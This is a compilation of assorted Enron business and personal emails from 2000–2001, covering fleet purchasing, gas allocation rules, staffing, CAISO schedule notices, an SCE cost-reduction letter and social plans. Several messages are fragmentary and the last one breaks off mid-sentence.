Both PGE and Enron Wind utilize Enron staffed maintenance facilities.  Although the Enron Fleet Council and prior strategic sourcing efforts have pointed out the high cost of these maintenance shops, little has been done toward outsourcing the light duty maintenance.  (oil changes, minor maintenance, tune-ups and tire repair)  

Because Enron is now organized under EGS, we have an opportunity to support the recommendations of the Enron Fleet Council.  As you are aware, the council recommended purchasing vehicles based upon the manufacturer's incentives and stacking volumes based on total Enron purchases.  We only requested incentives from the manufacturers based on the 300 level because we have such a split of purchasing practices across the business units.  Rather than the 300 level, we would be looking at 450 to 500 with even greater incentives.  

We have an opportunity to reduce Enron's overall fleet costs by making a decision to utilize one manufacturer, rather than splitting the purchases between all three manufacturer's.  Because we are now organized under one CFO within Enron Global Services, this may be an opportunity to guide all Enron business units to take advantage of our purchasing power.

This recommendation will be challenged by some business units, but under these challenging times within Enron, any savings in our costs effects the bottom line.  The Enron Fleet Council will collectively offer additional savings based on sound fleet practices, during the next few weeks.   

If you have any questions, please don't hesitate to call.

Regards,

Bruce A. Martin
Fleet Manager
Three Allen Center 3AC3283
333 Clay Street

713-345-6527 Phone
713-858-1023 Cell
800-376-8768 Pager or 
8003768768@skytel.com
281-664-4567 Cynet Fax

Any GCP adjustments will be made in red.

Bernice
x37972

From: Walter Guidroz/ENRON@enronXgate on 04/13/2001 10:56 AM
To: Karen Lambert/HOU/ECT@ECT, Tana Jones/HOU/ECT@ECT, Samuel 
Global CounterParty/LON/ECT@ECT, Stephanie Sever/HOU/ECT@ECT, Tom 
Moran/ENRON@enronXgate, Claudia Clark/HOU/ECT@ECT, William S 
Karen O'Day/NA/Enron@Enron, Tanya Rohauer/ENRON@enronXgate, Kelly 
Communications@Enron Communications, Stephanie Panus/NA/Enron@Enron, 
Mandola@/O=ENRON/OU=NA/CN=RECIPIENTS/CN=NOTESADDR/CN=BCBC586C-1D5A658C-862568C
D-532EF3@EX@enronXgate, 
Kyle@/O=ENRON/OU=NA/CN=RECIPIENTS/CN=NOTESADDR/CN=97746094-1B0A69C0-86256945-5
803A9@EX@enronXgate
cc:  
Subject: EOL approvals, 04-13-01

Start Date: 4/21/01; HourAhead hour: 10;  No ancillary schedules awarded.  No 

Schedules\2001042110.txt

     Details:

  SC_ID: HARBOR
  TRANS_DATE: 4/21/01
  UNIT_ID: HARBGN_7_UNITS

Jan-

I was looking at the wrong week.  Sorry, stress and sleep deprivation are my 
only excuses.  How much time should we spend in Rio?  Should we leave for Foz 
on the 11th?  I just heard about the Cataratas this morning from Scott Neal.  
That was the place he suggested and that sounds great.  I'll work on Renato 
when he gets back in town.  

Thanks,

Susan

"Janis Pereira" <janisp@dialdata.com.br> on 04/03/2001 04:52:19 AM
Please respond to "Janis Pereira" <janisp@dialdata.com.br>
To: "Susan Pereira" <Susan.W.Pereira@enron.com>
cc:  
Subject: SUMMER TRAVEL PLANS

Hi susan,
??? Glad to hear that you're  interested in the Foz.? I think it would be a 
great trip for you to take,  although I'm confused about the dates of the 4th 
and 5th.? Don't forget,  the six of us will be in Ilha de Comandatuba for the 
week of June 30 til July  7th.? If we stick to the original schedule we would 
all be getting into  S?o Paulo Saturday the 7th.? The driver would pick up 
you and Renato  and you guys would arrive at the house a few hours before 
us.?  
???? What could easily work  is for all of us to go to Rio on Sunday the 8th, 
spend a few days there and  then, you and Renato could fly directly to Foz 
from Rio and the kids and I would  drive back to s?o Paulo.? You guys could 
then fly into S?o  Paulo from Foz.
??? The hotel I would suggest at  the Foz is the Cataratas.? It's located 
within walking distance of the  falls on the Brazil side and set inside the 
national reserve forrest with all  kinds of walking trails.? They might offer 
a service to get to the  Argentina side of the falls, I'll check into that.? 
If not you just take a  taxi or car service.? 
??? When we went we stayed at  Mabu which had all of these thermal swimming 
pools, large grounds, pond  etc.? It was more for the kids to enjoy.? Our 
kids liked the falls but  after walking on one side of it had no interest for 
the other.........too much  walking.? It would be a nice get-away for the two 
of you I  think.
??? I'll check into flights and  hotels today and let you know what I find 
out.? I haven't heard much about  Hotel Conial Igua?a, I'll see what I can 
find on it here.
??? I'll be in touch  soon..Jan
PS? Let Renato know that just finished  having a workout room built at the 
house.? Also, he can enjoy some great  running in front of the beach while 
you're in Rio --?? so hopefully he  won't suffer too much withdrawal 
!.................have a good  one

TJ,

Thanks for the congratulatory message you left on our voicemail - it made us 
feel great.
We actually didn't go on a honeymoon - we will take one sometime next year.  
We've just
been swamped with the house we recently bought.  We bought an old small 
bungalow
in the city.  What a money pit.  Hope everything is going great.  Tell 
everyone we said
hi.

Kevin

Will need to document a revision to the Plainview allocation.  An enhancement request with requirements, detailed as much as possible, for IT to begin understanding what the impact and estimate would be for the change.

From: 	Bodnar, Michael  
Sent:	Wednesday, November 21, 2001 12:59 PM
To:	Kedwaii, Hasan; Medeles, Gerry
Cc:	Blair, Lynn
Subject:	FW: Plainview Allocations

Hasan &/or Gerry
I think there are some misunderstanding on what activity is included in a Plainview allocation. What needs to be done, as a 1st step, to initiate revisions to the Plainview allocation? 

From: 	Kowalke, Terry  
Sent:	Tuesday, November 06, 2001 7:08 AM
To:	Blair, Lynn; January, Steve; Spraggins, Gary; Kowalke, Terry; Buchanan, John; Matheson, Maggie
Cc:	Bodnar, Michael; Hoang, Joe; Kedwaii, Hasan

Sent:	Monday, November 05, 2001 5:35 PM
To:	Kowalke, Terry
Subject:	RE: Plainview Allocations

1. What points make up the Permian Area? (Permian Area has 2 Groups, 19 and 20)
2. Is Plainview in the middle of the Permian Area?
3. If Plainview is the beginning or end of the Permian Area, which way is the gas flowing, North or South?
4. We have a flow capacity of 500,000 going north and south.
5. Location of any Deferred Delivery Point and Physical Receipt Point needs to be considered whether to be allocated or not depending on the way the gas is flowing.
6. The requirements need to consider all receipts and delivery locations whether upstream or downstream of Plainview and the flow of gas.

From: 	Medeles, Gerry  
Sent:	Monday, November 05, 2001 3:04 PM
To:	Bodnar, Michael; Hoang, Joe; Kedwaii, Hasan
Cc:	Blair, Lynn; January, Steve; Spraggins, Gary; Kowalke, Terry; Buchanan, John; Matheson, Maggie

Sent:	Monday, November 05, 2001 2:49 PM
To:	Medeles, Gerry; Hoang, Joe; Kedwaii, Hasan
Cc:	Blair, Lynn; January, Steve; Spraggins, Gary; Kowalke, Terry; Buchanan, John
Subject:	Plainview Allocations

During a Plainview allocations, the following rules should apply. 

Exclude:
Transportation when receipt is in the Permian Area and the delivery is in the Permian Area (at a point other than DDP) [Medeles, Gerry]   No. 
Transportation when receipt is sourced from Permian Area Storage point and re-delivery is North of Plainview [Medeles, Gerry]   No. 

Include:
Transportation when receipt is in Permian Area and the delivery is a point North of Plainview [Medeles, Gerry]   No. 
Transportation when receipt in Permian Area and the delivery is to Permian Area DDP [Medeles, Gerry]   No. 

								(*DDP = Deferred Delivery Point)

Gerry and/or Joe.
I believe these rules are already part of the Plainview allocation. Can you verify that for me?
[Medeles, Gerry]  The only line items/nominations that are excluded from a group allocation, is gas that is received and delivered within the group. 

And November to 11/12 - 11/16.  Let me know if I landed on any other major holidays.

Sent:	Tuesday, August 07, 2001 1:42 PM
To:	Allen, Phillip K.; Ermis, Frank; Gay, Randall L.; Holst, Keith; Kuykendall, Tori; Lenhart, Matthew; Reitmeyer, Jay; Sanchez, Monique; Scott, Susan M.; Smith, Matt; South, Steven P.; Tholt, Jane M.; Wolfe, Jason
Cc:	Rangel, Ina
Subject:	FW: West Power Rotation

Please change the December trip  to 12/10 - 12/14.

Sent:	Tuesday, August 07, 2001 1:31 PM
To:	Rangel, Ina; Allen, Phillip K.; Ermis, Frank; Gay, Randall L.; Holst, Keith; Kuykendall, Tori; Lenhart, Matthew; Reitmeyer, Jay; Sanchez, Monique; Scott, Susan M.; Smith, Matt; South, Steven P.; Tholt, Jane M.; Wolfe, Jason
Subject:	West Power Rotation

I have organized four groups to attend Portland for one week beginning September 17, 2001.  

Group 1: 09/17 - 09/21

Keith Holst
Matt Smith
Jason Wolfe

Group 2:  10/15 - 10/19

Frank Ermis
Steve South
Janie Tholt

Group 3: 11/12 - 11/16

Matt Lenhart

Group 4:  12/10 - 12/14

Jay Reitmeyer
Monique Sanchez

Randy Gay and Tori Kuykendall will be floaters and decide which group they would like to join in Portland.  If some one has a scheduling conflict with when they are going, please let me know as soon as possible.

Thanks,
Mike

19:18:48 Synchronizing Mailbox 'Kean, Steven J.'
19:18:48 Synchronizing Hierarchy
19:18:57 	   173 folder(s) deleted in offline store
19:18:57 Synchronizing Favorites
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19:19:11 	   19 item(s) added to offline folder
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19:19:13 	   1 item(s) added to offline folder
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19:19:41 Synchronizing Views
19:19:42 Synchronizing Forms
19:20:02 Done

Larry, 

Thanks. Can you forward the resume to Mike and/or other finance professionals 
in Enron
who could use James?

Vince

Larry Lawyer@ENRON
11/21/2000 03:10 PM
cc:  
Subject: Re: TAGE Resume Submittal  

Vince,

Thanks for forwarding the resume.  We have generally had great success with 
ex-Koch people.
He sounds might like he may be a good fit for Michael L. Miller in principal 
investments.  At this point
I have very recently inherited two other stron VPs from EI and therefore will 
probably focus on a few
Manager and Associates for the near term but I would like to keep James' 
resume for further opportunities.
He sounds like someone we should at least meet with and figure out a spot 
within Wholesale Services.

Regards,

-Larry-

If attending in Omaha, the call will be held in CRoom 697.  If in Houston or Minneapolis, please follow the instructions below:
You are enrolled in CERA's North American Natural Gas Conference Call and Web Presentation, "Gas Market Winter Outlook: Fundamental Questions." on Thursday, October 18, 2001 at 10:00 a.m.CDT
Please be sure to call-in to the following phone numbers for the conference call:
Within the United States: 1-877-691-0877
Confirmation Code: 542780

To view the slides while on the call:
To participate in the internet portion of our presentation (audio is by telephone), log on to the internet approximately 15-30 minutes before the presentation to ensure technological compatibility.
1. Point your browser to http://www.placeware.com/cc/visioncastconferencing
2. Enter the following information, then click "Attend"
? Your Name
? Meeting ID: w542780
? Meeting Key: 934386

This is a reminder that we will meet from 8-10 am tomorrow in 49C2 to discuss 
the operational provisions of Order No. 637.  The topics include: (1) 
capacity release scheduling equality, (2) segmentation, (3) imbalance 
management, (4) OFOs, and (5) penalties.

Attached is an agenda/working document that clips the relevant regulation 
text and lists questions for discussion.

Also attached is the summary of current GPG imbalance provisions and 
penalties.  Note: this a revised version with a summary of the NBPL 
provisions included.

Thanks, I enjoyed it too and would be happy to do it again.

	John Baker <John.Baker@daniel.com>
	11/15/2000 07:47 AM
		 
		 To: "'skean@enron.com'" <skean@enron.com>
		 cc: "'Christie_Patrick@enron.com'" <Christie_Patrick@enron.com>
		 Subject: Thank you for taking time out of your schedule to speak at Rice

Steven,

Thank you for visiting with my class at Rice last night. They thoroughly
enjoyed your talk -- after you left for the evening, we had a good
discussion on topics that you had raised. My apologies again for the room
mix up; somehow between myself, the university, and my secretary, the
classroom assignment changed several times and the update did not get to
you.

Next year, if your schedule permits, perhaps you would consider a return
engagement. I would certainly enjoy having you back.

Regards,
John

John A. Baker
Director of Information Technology
Fisher-Rosemount / Daniel (A Division of Emerson Electric)
9753 Pine Lake Drive
Houston, TX 77055
713-827-3328
John.Baker@daniel.com

Twanda, here is more information about the project for Baxter.  Michelle

----- Forwarded by Michelle Cash/HOU/ECT on 05/12/2000 05:04 PM -----

	Bryce Baxter
	05/12/2000 04:44 PM
		
		 To: Michelle Cash/HOU/ECT@ECT, Norma Villarreal/HOU/ECT@ECT, Susan 
Harrison/HOU/ECT@ECT
		 cc: 
		 Subject: Re: New Vendors for Contract Accounting Services

The bill rate with Enterprise Services for Lloyd Lee is $37.50/hour.  Thanks.

	From:  Bryce Baxter                           05/12/2000 04:21 PM
	
To: Michelle Cash/HOU/ECT@ECT
cc: Norma Villarreal/HOU/ECT@ECT, Susan Harrison/HOU/ECT@ECT 
Subject: New Vendors for Contract Accounting Services

Data for AccountSource:

Name:   Lydia T. Bolanos
Bill Rate:  $48/hour
Job Desc:  Reconciliation of general ledger and subledger account balances.  
Includes A/R reconciliation and A/P reconciliation work to prepare for    SAP 
implementation.
Length of Assign: 3 Months anticipated, with a possibility of going longer

Data for Enterprise Services Co.

Name:   Lloyd A. Lee
Bill Rate:  ?? - waiting to hear from Rebecca Soots on exact rate

Norma is researching how we should handle the contingency of hiring.  I'll 
get you the rate and contingency info as soon as I get it.  Thanks again for 
your help!

---------------------- Forwarded by Bryce Baxter/HOU/ECT on 05/12/2000 02:47 
   
	From:  Bryce Baxter                           05/12/2000 07:49 AM
	
cc: Susan Harrison/HOU/ECT@ECT, Brenda F Herod/HOU/ECT@ECT, Lisa 
Csikos/HOU/ECT@ECT, Rita Wynne/HOU/ECT@ECT 

Michelle, as I mentioned in my voice mail to you, I would like to use 
contractors from the two firms listed below.  Both of these firms have 
contractors available now, so as soon as we get these agreements in place we 
can bring them in and put them to work.  If possible, I'd like any agreement 
we put in place to be flexible enough to allow us to use other contractors in 
the future besides those we currently have identified.  If you need me to do 
anything else or if you are not the right person to talk to, please let me 
know.  Thanks.

AccountSource International
Contact:   Pam White, Partner
Phone:   713-629-9200
Address:   770 S. Post Oak Lane
  Suite 325
  Houston, TX  77056
Email Address: plw@account-source.com
Fax:  713-629-0101

Enterprise Services Company
Contact:   Rebecca Soots, Manager
Phone:  713-219-4234
Address: 6671 Southwest Frwy
  Houston, TX  77074
Email Address: Rpsoots@esc-hdq.com
Fax:  713.270.7195

Sorry Heather, I will be unable to attend.  I am bummed as I really wanted to 
go however, I will be in LA this weekend.  Are you going to Paddy's tommorow 
night?

Daren:

During the months of October 1999 and November 1999, gas flowed into HPL's 
pipeline at the above meter.    This gas was previously transported by EOG 
Resources  to Mobil (Beaumont) with the excess being purchased.   The Deal 
that EOG Resources Transport Contract (012-36702-02-001) moved gas to Mobil 
Beaumont expired a the end of September, 1999, but gas continued to flow into 
HPL's pipeline.  Currently, these volumes are being recorded to the HPL 
Strangers Gas Contract.   Logistics needs a deal to purchase these volumes.

 ______________________________________________________________
 Deal/Deal Ticket#/Customer (Seller/Buyer)/Purchase Contract

Thanks, Clem

Further to your letter to us (addressed to Mr. Tim Belden)  dated August 14, 
2000:  

Enron thinks that the elimination of physical risk during the month of August 
will be of commercial benefit because Enron expects that during the month of 
August there will be transmission line derations affecting the hour ahead 
market which will lead to TO debit charges by the CAISO.   The elimination 
of  TO debit charges is a commercial benefit to Enron. 

I feel like such a heel.  There is a hidden pocket in my computer bag and I 
had placed my phone and flight info in this pocket.  Thank you for continuing 
to look for the phone.  I am embarrassed.

I had a meeting with Beth today.  I feel that it did not go well.  I asked 
for an IT person that would work in our group and would be expected to learn 
the fundamentals.  I also indicated that I would like everyone in the group 
to learn IT and that we would hire someone to sit on our desk and produce the 
front-end.  She did not like that idea.  Her proposal is that an IT person 
can sit on our desk and decide what IT resources we need and she wants 
front-end production to be handled by her group.  

We ended the meeting with no resolution and we will meet again tomorrow.  It 
seems to me that if we don't have free access to the website or database, the 
group will suffer.  I will follow up tomorrow.

Andy, if we have time later on Friday, maybe drop by to say Happy Bday to
Paoning?  Amy  : )

>From: "Paoning Huang" <paoning@hotmail.com>
>To: Ron_He@Dell.com, ayueh@hotmail.com, Angelia_Guinara@hchd.tmc.edu,
>thx_135@hotmail.com
>Subject: Party!!!
>Date: Thu, 18 Oct 2001 03:14:54 +0000
>
>hey boys and girls,
>
>Judy and I are going to celebrate our b-days by getting our asses
>wasted Friday nite.  Please come join!!!
>
>pao
>
>
>

I'm working on my backlog of lists.  I thought I'd send thru a few so you 
could get started.

We found a couple of typo's and ommissions under the November delivery points.
Here is a new set of documents.

Ruth

Please click below for access to the weekly reports. Click on whichever report you are interested in and you should be able to view both reports. Remember to refresh your browser.

http://gpgdomino.ots.enron.com/QuickPlace/ferc/Main.nsf/h_Toc/A275772365A239B286256A3F006CB023?OpenDocument

For those preferring a word document, the Weekly Regulatory and Legislative Affairs Report is attached.

Chris,

As I indicated on our call about a week ago, CES Retail is attempting to exit 
a
number of current markets for Major Accounts business only.  The list that
we're contemplating includes CKY, CG&E, DP&L, East Ohio, Indiana Gas, Western
Kentucky, CVA, COH, and BGE.  Again, for those LDCs where we participate in
Choice programs, we will continue to serve those customers.

We are trying to have this accomplished prior to March flow so that we can 
take
March 2000 forward out of our physical requirements from Enron.

I'll keep you apprised as additional information becomes available.

Thanks,

Melissa

Hey Vik,

Do you know how often he publishes this?

From: 	Singh, Vikram  
Sent:	Monday, November 05, 2001 3:53 PM
To:	Aguilera-Peon, Maria Teresa; Allan, David; Bosek, Laura; Carter, Karen E.; Causholli, Monika; Daetz, Milagros; Determeyer, Peggy; Hutchinson, Elizabeth; Johnson, Jay; Kanji, Ayesha; Wales, Stacey
Subject:	Downtime true up

Dear Warriors,

Mark Wilde has just published a great summary of industry downtimes.  Your teams might find it very helpful.  It may also be a good chance to see if our respective databases match Dr. Paper's records.

Thanks!
Vikram

 << File: INDUSTRY DOWNTIME 10.31.01.pdf >> 

From: 	Sweet, Twanda  
Sent:	Wednesday, August 22, 2001 5:32 PM
To:	Kean, Steven J.; Whalley, Greg; Hillis, Kimberly; Belden, Tim; Haedicke, Mark E.; Steffes, James D.; Shapiro, Richard
Cc:	Dernehl, Ginger; Noske, Linda J.; Taylor, Liz M.; Elbertson, Janette; Dernehl, Ginger
Subject:	Meeting re California

Please note that a meeting is scheduled for tomorrow, August 23, 2001 at 2:00 - 3:00 p.m. regarding California in EB 3320.

Please note, the Resolution Center hours have been reduced to 6 a.m. - 7 p.m. Monday thru Friday. You may contact the Resolution Center at 713-853-1411 or submit requests on-line at http://itcentral.enron.com. 

We appreciate your cooperation in advance.

Customer and Business Services
Global Infrastructure

Saturday, October 20, 2001

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Are we still waitning on some info here?

From: Lowry, Phil 
Sent: Monday, October 29, 2001 6:32 AM
To: Edwards, Ralph
Cc: Hayslett, Rod

Ralph, please get with Rod and provide what ever he needs in the way of Safety Stats.

From: ROD HAYSLETT [mailto:haysletr@txucom.net]
Sent: Saturday, October 27, 2001 9:07 PM
To: Lowry, Phil

Where can I get info on safety statistics for the pipes?

From: 8778044255@skytel.com [mailto:8778044255@skytel.com]
Sent: Saturday, October 27, 2001 5:10 PM
To: haysletr@flash.net
Subject:

finalizing due diligence. do you have the ingaa/aga report you referenced in
our meetings?

	Market Service Meetings w/ Julia at the 43rd (Wedge)

Date:		10/3/2000
Time:		8:30 AM - 3:30 PM (Central Standard Time)

----- Forwarded by Jeff Dasovich/NA/Enron on 03/02/2001 07:40 PM -----

	JBennett <JBennett@GMSSR.com>
	03/02/2001 04:53 PM
		 
		 To: "Jeff Dasovich (E-mail)" <jdasovic@enron.com>, "Sue Mara (E-mail)" 
<smara@enron.com>
		 cc: 
		 Subject: Comments-re:DWR Creditworthiness/Letter-re:Direct Access

 <<X22350.DOC>>  <<BILASALT.DOC>>

 - X22350.DOC
 - BILASALT.DOC

Bill -

I've attached two documents below.  The first (SWPC-Enron-Agreement) 
summarizes my understanding of our verbal agreement.  Please review and let 
me know of any changes you recommend.  Since I will be in Orlando with 
limited e-mail capability, please follow up on any changes with a call to my 
mobile number (281-467-9599).  As a backup, you may leave a voice mail at my 
office number (713-853-3957).  If you're satisfied with the letter, please 
e-mail it back to me.  I'll have it printed on Enron letterhead and signed.  
Please also copy my assistant, Felicia.

I've copied Mike Miller on this e-mail.  Please copy him on any e-mail 
response, in case I can't access my e-mail from Orlando.

The second document (SWPC Letter) is a suggested draft of a letter intended 
to be sent by someone at SWPC to me.  The intent of this letter is to provide 
a document that we can provide to third parties without providing all the 
pricing details of our verbal agreement.

Again, please call me with any questions.

Regards,

Mitch Robinson
Enron, Director

Vern,

I am now responsible for publishing the EES Gas Position Report.   It seems 
that the websave version that I received in the attached email is not updated 
to publish the EES report.  Could you please send me an updated version or 
let me know what I need to do so that I can publish this report?

Thank you,
Robin
x57478

Gabriel Monroy
10/20/2000 07:56 AM
To: Robin Rodrigue/HOU/ECT@ECT
cc:  
Subject: Executive Reports Add-In

---------------------- Forwarded by Gabriel Monroy/HOU/ECT on 10/20/2000 
07:54 AM ---------------------------
From: Vern Vallejo on 07/12/2000 06:04 PM
To: John Jacobsen/HOU/ECT@ECT, Robert Richard/Corp/Enron@ENRON, Mason 
Hamlin/HOU/ECT@ECT, Eric Groves/HOU/ECT@ECT, Mark Confer/HOU/ECT@ECT, Frank 
Prejean/HOU/ECT@ECT, Gabriel Monroy/HOU/ECT@ECT
cc: Sally Chen/NA/Enron@Enron, Kristin Walsh/HOU/ECT@ECT, Christa 
Winfrey/HOU/ECT@ECT 

Attached is the latest version of the Add-In for publishing Executive 
Reports.  It contains the "Pulp & Paper P&L", "Pulp & Paper Position", "Pulp 
& Paper Price", "Emissions Summary", and "Natural Gas Net Fixed Price 
Positions By Book (Ignores Correlation)" subroutines.

John Lavorato is expecting to see these publish reports in the updated viewer 
tomorrow morning!

To use this latest version of the Add-In:

Close all instances of Excel.
Detach the attached websave2.xla file into the Microsoft Office's Library 
directory.  Usually this is C:\Program Files\Microsoft Office\Office\Library
Launch Excel.
Under the Tools menu selection, select Add-Ins...
In the "Add-Ins available" list, look for "Websave."  If present, uncheck 
it.  This is the old version of the add-in.
There should be a "Websave2" in the list.  This is the current version of the 
add-in.  Check it and click the OK button.

I've also attached a workbook containing a buttons for the new reports that 
you can copy and paste into your production workbooks.  

Here are the named range values and the sheet names for the reports:

Named Range	Sheet Name
nr_NGFixPB  	Natural Gas Net Fixed
nr_EmSum  	Emissions Summary
nr_PPPL  	Pulp & Paper P&L
nr_PPPos  	Pulp & Paper Position
nr_PPPrice  	Pulp & Paper Price

Start Date: 4/6/01; HourAhead hour: 9;  No ancillary schedules awarded.  No 

Schedules\2001040609.txt

     Details:

  TRANS_DATE: 4/6/01
  INTERCHG_ID: EPMI_CISO_SCOUT
  ENGY_TYPE: WHEEL
     Details:

  TIE_POINT: SLVRPK_7_SPP

Tom, I am going to go to a Fire Warden Class today from 1:30 - 4:30 to become a Fire Warden for the new building.  Is there anything you need me to do before I go to help you get packed up ... especially since you're working a half day tomorrow?

From: 	Rangel, Ina  
Sent:	Thursday, November 15, 2001 9:19 AM
To:	Vuittonet, Laura
Subject:	RE: Fire Warden Class

Yes it is okay

From: 	Vuittonet, Laura  
Sent:	Wednesday, November 14, 2001 4:57 PM
To:	Rangel, Ina
Subject:	FW: Fire Warden Class

I can't remember if you replied or not, but is it okay for me to go to this class tomorrow?  Do you think that Jessica will be back?

Sent:	Tuesday, November 06, 2001 8:38 AM
Subject:	Fire Warden Class

Ina, I would like to take the Fire Warden Class on Thurs, Nov 15th from 1:30 - 4:30 pm.  Please let me know if there is enough coverage on the phones so that I can go.

thanks,
Laura

FYI!  This is interesting - cost reduction measures by SCE (see last email 
below from Steve Frank, Chairman, CEO, President of SCE)
---------------------- Forwarded by Nancy Hetrick/NA/Enron on 11/10/2000 
09:58 AM ---------------------------
From: George Phillips@EES on 11/09/2000 04:57 PM
To: Nancy Hetrick/NA/Enron@Enron
cc: Rick Baltz/HOU/EES@EES, Dennis Benevides/HOU/EES@EES, Jubran 
Whalan/HOU/EES@EES, Frank Wanderski/HOU/EES@EES 

Subject: Cost-Reduction Measures

fyi - Thought you might find the letter below the note interesting.  
---------------------- Forwarded by George Phillips/HOU/EES on 11/09/2000 
04:56 PM ---------------------------

Larry.Colwell@sce.com on 11/09/2000 12:30:55 PM
To: DPB2@pge.com, ddc2@pge.com, lclay@sdge.com, kjczarnecki@calpx.com, 
Merilyn_Ferrara@apses.com, vivek.gadh@us.arthur, emccann@sdge.com, 
sem4@pge.com, gperez@caiso.com, JPlumley@caiso.com, gphillip@enron.com, 
scr@cpuc.ca.gov, Susan_A_San_Martin@calpx.com, rschlanert@electric.com, 
Marilyn_L_Uranga@calpx.com, LWilloughby@sdge.com
cc:  

Hello everyone,

Until further notice, my participation on meetings has come to an immediate
halt.  At a minimum, this includes DQI and stakeholder meetings.  The
attached letter below was distributed to all employees  today and gives an
explanation into the reasoning for this decision.  Obviously, this decision
impacts other areas besides SCE's participation in meetings, but this
elevates the concern over SCE's financial position in the market.  I am not
sure at this time if a formal press release will be sent out.  If you have
any questions, please let me know.

Larry Colwell

----- Forwarded by Larry Colwell/SCE/EIX on 11/09/2000 10:27 AM -----

                    Stephen E.
                    Frank/SCE/EDISON        To:     Southern California Edison
                    X@Exchange              Employees/SCE/EDISONX@Exchange
                                            cc:
                    11/09/2000 10:25        Subject:     Cost-Reduction 
Measures
                    AM

Dear Fellow Employees:

These have been times of great uncertainty and, quite frankly, great
frustration for everyone involved in trying to encourage state authorities
to immediately address the mounting undercollection of excessive wholesale
electricity costs that we and the state's other investor-owned utilities
have incurred over the past six months.

These costs for SCE alone, which currently cannot be passed on to customers
due to the mandatory rate freeze, total more than $2 billion.  As you can
see, we effectively have been forced to finance electricity purchases for
our customers, because the California wholesale electricity markets are not
workably competitive.  Despite our ongoing efforts to move the California
Public Utilities Commission and other state authorities to act with
urgency, the clearest signal we are getting from them at this point is
further delay.  With mounting debt, however, each day of delay costs us
more and further jeopardizes our ability to pay our bills, to continue
serving our customers in a reliable manner with superior customer service,
and to help sustain California's growing economy.

Toward this end, I am immediately implementing, as a first step, a series
of cost-reduction measures, including an immediate freeze on hiring,
general new construction and remodeling, and a suspension of all
nonessential equipment purchases and service contracts.  Additionally, we
are suspending charitable and community contributions, eliminating all
discretionary travel, and further reducing administrative expenses
throughout the company.

In the event that we do not receive appropriate and swift action from the
CPUC, it will be necessary to implement much more substantial reductions,
which would affect our workforce and major capital, infrastructure and O&M
expenditures.  Analysis and planning for this contingency are underway,
should such measures become necessary.  In all this, however, I should
emphasize our intention to retain a skilled workforce at SCE and to provide
electric service without compromising the safety of our employees.

The irony of all this is the fact that our company is performing well and
meeting its goals?thanks to all of you.  In a real sense, we and our
customers have become the victims of unintended consequences of a
California state market that is broken and dysfunctional.  We continue to
believe that a near-term rate increase is absolutely necessary to ease our
cash hemorrhage.  We do not yet know whether the CPUC will provide this
essential near-term relief.

I realize that these circumstances may create significant anxiety for
everyone, but I encourage you to remain focused on performing your jobs in
an excellent and safe manner.  This means we need everyone's cooperation
and continued efforts in order to be successful.  As we have done in past
weeks, we will keep you apprised of new developments relative to our
numerous filings regarding our energy procurement cost recovery effort and
the state and federal processes regarding market reform in general.

Stephen E. Frank
Chairman, President & CEO
Southern California Edison

Thanks, Kelli. In my opinion, this ad captures our message very well. Thanks
for responding so quickly.

From: Kelli Norton [mailto:knorton@mcnallytemple.com]
Sent: Wednesday, December 06, 2000 2:27 PM
To: Carolyn Baker at Duke; Curtis Keebler at Reliant; Greg Blue; Jack
Pigott @ Calpine; Jan Smutny-Jones; Jean Munoz; Joe Ronan @ Calpine;
John Stout for Reliant; Julie @ Edson; Karen Edson; Kassandra Gough @
Calpine; Katie at IEP; Lynn Lednicky at Dynegy; Marty Wilson; Paula
Hall-Collins; Ray McNally; Richard Hyde, Duke; Rob Lamkin; Stephanie
Newell at Reliant; Steven Kelly; , , Tom Ross; , , Sue Mara; , , Norton
Kelli; , , kent Palmerton; , , Jeff Dasovich; , , Bob Weisenmiller; , ,
B Brown Andy; , , Andy Brown; , , Kristin Vellandi
Subject: Revised CalJournal Ad

IEP Team,
Attached is a revised January CalJournal ad for your review. Based on
the group's comments, which were significant, we have developed an
entirely new ad. However, since the deadline has not changed (art is
still due today), we need your feedback asap. Please e-mail or call me
at 916-447-8186 as soon as possible with any comments. If we do not hear
from you, we will assume you are fine with the ad as is. Thank you for
all of your help.
Kelli

 Thank you Kate.  It looks much better.
 Have a nice day.
 Eric

From: Kate.Symes@enron.com [mailto:Kate.Symes@enron.com]
Sent: Wednesday, March 28, 2001 1:22 PM
To: djenergy
Subject: EPMI Index Prices 3/28

(See attached file: DJ Index 3-28a.xls)

Let me know if this works.

Kate

i can probably meet up with you guys around 7:30ish.  will you guys still be 
there at that time?  call me on my cell at (713)853-7176 if you guys go 
somewhere else.

PROCESSING

None

TENDERED

02-062	Questar	Eff 1/1/02		Interconnect & Operating K	  	EXECUTED

26471	PPL		Eff RR In-Service	20,000/d	Swap RP Vol		EXECUTED

27642	Calpine	Eff RR In-Service	40,000/d	Swap RP Vol		EXECUTED

27803	BP		1/1/03-12/31/04	25,000/d	Blmfld to Needles	EXECUTED

27821	Cinergy	2/1-2/28/02		5,000/d	Cen Pool to Topock	Negotiating 2/1

27834	WGR		4/1/02-10/31/02	5,000/d	WTx Pl to PG&E Topk	EXECUTED

27835	WGR		11/02 - 12/03		10,000/d	WTx Pl to Socal	EXECUTED

27847	Tenaska	2/26/02 only		10,000/d	WTx Pl to Halley	Tendered 2/25

Napoleonville permit response below.....

From: Lawrence J. Hand, Jr. [mailto:lhand@lemle.com]
Sent: Friday, July 06, 2001 5:12 PM
To: Joe Ball (E-mail)
Cc: Robert. D. Morgan (E-mail)
Subject: Bridgeline's response to deficiency letter

Joe:  the attachments comprise Bridgeline Storage's response to the June 21
deficiency letter.  They are also being sent to you via regular mail.
Please call me if you have any questions. 

 <<Ball, Joe (.DOC>>  <<cover to susidence plan.DOC>>  <<Plugging and
abandonment procedure.DOC>>  <<MIT procedure.DOC>>  <<Cavern capacity
determination procedure.DOC>>  <<Revised Attachment 8 to Permit
Application.DOC>>  <<subsidence plan.DOC>> 

Lawrence J. Hand, Jr. 
Lemle & Kelleher, L.L.P. 
601 Poydras Street, Suite 2100 
New Orleans, Louisiana 70130 
Phone: 504-586-1241 
Fax: 504-584-9142 
PRIVILEGED & CONFIDENTIAL COMMUNICATION: DO NOT read, copy or disseminate
this communication unless you are the intended addressee. This communication
may contain information that is privileged, confidential and exempt from
disclosure under applicable law. If you are not the intended recipient, you
are on notice that any unauthorized disclosure, copying, distribution, or 
taking of any action in reliance on the contents of the electronically 
transmitted materials is prohibited. If you have received this communication
in error, please call (collect) immediately at (504) 586-1241 and ask to
speak to the sender of the communication. Also, please notify immediately
via e-mail the sender that you have received the communication in error. 

CP,

Attached is the latest draft copy of the memo.  Each group has had an 
